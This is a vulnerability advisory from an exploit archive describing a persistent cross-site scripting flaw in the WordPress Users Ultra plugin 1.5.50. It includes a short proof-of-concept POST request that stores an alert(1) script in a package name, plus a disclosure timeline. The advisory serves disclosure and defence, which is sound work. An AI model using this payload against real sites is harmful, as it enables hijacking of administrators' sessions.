exploit the possibilities

WordPress Users Ultra 1.5.50 Cross Site Scripting

WordPress Users Ultra 1.5.50 Cross Site Scripting
Posted Dec 2, 2015
Authored by Panagiotis Vagenas

WordPress Users Ultra plugin version 1.5.50 suffers from a persistent cross site scripting vulnerability.

tags | exploit, xss
MD5 | d46281b31fdfcdca7cc06d1174f4e3eb

WordPress Users Ultra 1.5.50 Cross Site Scripting

Change Mirror Download
* Exploit Title: WordPress Users Ultra Plugin [Persistence XSS]
* Discovery Date: 2015/10/20
* Public Disclosure Date: 2015/12/01
* Exploit Author: Panagiotis Vagenas
* Contact: https://twitter.com/panVagenas
* Vendor Homepage: http://usersultra.com
* Software Link: https://wordpress.org/plugins/users-ultra/
* Version: 1.5.50
* Tested on: WordPress 4.3.1
* Category: webapps


Description
================================================================================

Once a user is registered he can add new subscription packages or modify existing ones. No data sanitization is
taking place before saving package details in DB. This allows a malicious user to include JS code in package name
and/or package description.

PoC
================================================================================

- Send a post request to `http://vuln.site.tld/wp-admin/admin-ajax.php` with data:
`action=package_add_new&p_name=a<script>alert(1)</script>`
- Visit `http://vuln.site.tld/wp-admin/admin.php?page=userultra&tab=membership` as admin or go to the page that
contains package information at front end.

Timeline
================================================================================

2015/10/29 - Vendor notified via email
2015/11/11 - Vendor notified via contact form in his website
2015/11/13 - Vendor notified via support forums at wordpress.org
2015/11/14 - Vendor responded and received report through email

Solution
================================================================================

No official solution yet exists.
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